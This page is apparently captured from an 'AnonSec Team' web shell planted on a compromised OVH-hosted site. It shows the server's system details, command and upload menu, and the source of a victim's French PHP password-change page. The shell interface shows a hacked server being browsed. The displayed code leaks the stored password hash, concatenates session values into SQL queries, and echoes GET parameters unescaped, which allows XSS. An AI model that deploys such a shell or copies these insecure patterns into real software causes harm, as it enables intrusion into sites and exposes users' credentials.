AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TEST/../TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../TMCPRO/pages/acces.php
<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);
// echo "test fffffffffffffffffffffffffffffffff<br/>" ;
   // $newPassword = 10372 ; 
  // $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);
  
  // echo "dddddd==>".$hashedPassword."<br/>" ; 

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;




$info_sal = dbi_fetch_row(dbi_query(" SELECT *  FROM `client` WHERE `client_id` =  ".$_SESSION['MCPRO_sal']['user_id'])) ;


$salarie_id=$_SESSION['MCPRO_sal']['user_id'] ;



if(!empty($_POST))

	{

    // echo "<pre>" ;
	// print_r($_POST) ;
	 // echo "</pre>" ;
// exit() ; 



// Inclure le fichier de configuration de la base de données
    // require_once "config.php";

    // Récupérer les données du formulaire
    $oldPassword = $_POST["old_password"];
    $newPassword = $_POST["new_password"];
    $confirmPassword = $_POST["confirm_password"];

    // Récupérer l'identifiant de l'utilisateur depuis la session
    // $username = $_SESSION["username"];

    // Vérifier si le nouveau mot de passe et la confirmation correspondent
    if ($newPassword == $confirmPassword) {
		echo "==ffffff== ".$stmt."<br/>" ; 
		print($stmt)  ; 
		// exit() ;
        // Hacher le mot de passe
        $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);

        // Vérifier si l'ancien mot de passe est correct
		
		
      list($storedPassword)  = dbi_fetch_row(dbi_query("SELECT passwordd FROM client WHERE client_id  = ".$_SESSION['MCPRO_sal']['user_id']));
	  
	  echo "storedPassword ==>".$storedPassword."<br/>" ; 
	  // exit() ; 
	  
	  
		
       

        if (password_verify($oldPassword, $storedPassword)) {
			// echo "ddddddrrrrr ==>".$storedPassword."<br/>" ; 
			// exit() ; 
            // Mettre à jour le mot de passe dans la base de données
             dbi_query("UPDATE client SET passwordd = '".$hashedPassword."' WHERE client_id = ".$_SESSION['MCPRO_sal']['user_id']);

            echo "Le mot de passe a été changé avec succès";
			header('Location:acces.php?msg=Le mot de passe a été changé avec succès&color=success');
        } else {
            echo "L'ancien mot de passe est incorrect.";
        }
    } else {
        echo "Le nouveau mot de passe et la confirmation ne correspondent pas.";
    }



// header('Location:messages_sal.php?msg=Message envoyé&color=success');
	}





?>


<!DOCTYPE html>
<html lang="en">
<?php include('header.php'); ?>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
  <!-- Navbar -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
    <!-- Left navbar links -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#" role="button"><i class="fas fa-bars"></i></a>
      </li>
    </ul>
	
  </nav>
  <!-- /.navbar -->

  <!-- Main Sidebar Container -->
  
  <?
// echo "=dddttddd=>".$info_sal['client_nom']."<br/>" ; 
// exit() ;
?>
<?php include('aside.php'); ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">

      </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">
          <div class="col-md-12">
	

            <div class="card bg-light d-flex flex-fill">

              <div class="card-body pt-0">
                <div class="row">
                  <div class="col-7">
                    <STRONG><b><i class="fas fa-user"> &nbsp </i> <?=$info_sal['client_nom'] ?> </b></STRONG>

                    <ul class="ml-4 mb-0 fa-ul text-muted">
                      <li class="text-muted"> Matricule : 0<?=$info_sal['client_id']?> </li>

                    </ul>
                  </div>

                </div>
              </div>

            </div>

            <section class="content">
              <div class="container-fluid">
                <div class="row">
                  <div class="col-lg-12">




                    <div class="card direct-chat direct-chat-primary">
					
		
																									  <?php
													  if(isset($_GET["msg"])){
											?>
											<div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
											  <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
											  <button type="button" class="close" data-dismiss="alert" aria-label="Close">
												<span aria-hidden="true">&times;</span>
											  </button>
											</div>
											<?php
											}
										   ?>			

                      <!-- /.card-header -->
                      <div class="card-body">
                     
                      </div>
                      <!-- /.card-body -->
                      <div class="card-footer">
                        <form action="" method="POST">
						
                          <div class="form-group">
							<label for="userr">Login</label>
							<input type="text" class="form-control" id="userr"  name="userr" placeholder="Adresse">
						  </div>

                          <div class="form-group">
							<label for="old_password">Ancien mot de passe</label>
							<input type="text" class="form-control" type="password" name="old_password"  placeholder="**********" required >
						  </div>
						  
						  <div class="form-group">
							<label for="new_password">Nouveau mot de passe</label>
							<input type="text" class="form-control"  type="password" name="new_password" placeholder="**********" required >
						  </div>
						  
						 <div class="form-group">
							<label for="confirm_password">Nouveau mot de passe</label>
							<input type="text" class="form-control"  type="password" name="confirm_password" placeholder="**********" required >
						  </div>


  

        <input  class="btn btn-primary"  type="submit" value="Changer le mot de passe">
						  
                        </form>
                      </div>
                      <!-- /.card-footer-->
                    </div>


                    <!-- /.card -->
                  </div>
                  <!-- /.col -->

                  <!-- /.col -->
                </div>
                <!-- /.row -->
              </div><!-- /.container-fluid -->
            </section>


            <div class="card card-primary">

              <!-- /.card-header -->
              <div class="card-body">





              <!-- /.card-body -->
                </div>
            <!-- /.card -->
          </div>
          <!-- /.col -->

          <!-- /.col -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.2.0
    </div>
    <strong>MC PRO 2022 </strong>
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
</body>
</html>

AnonSec - 2021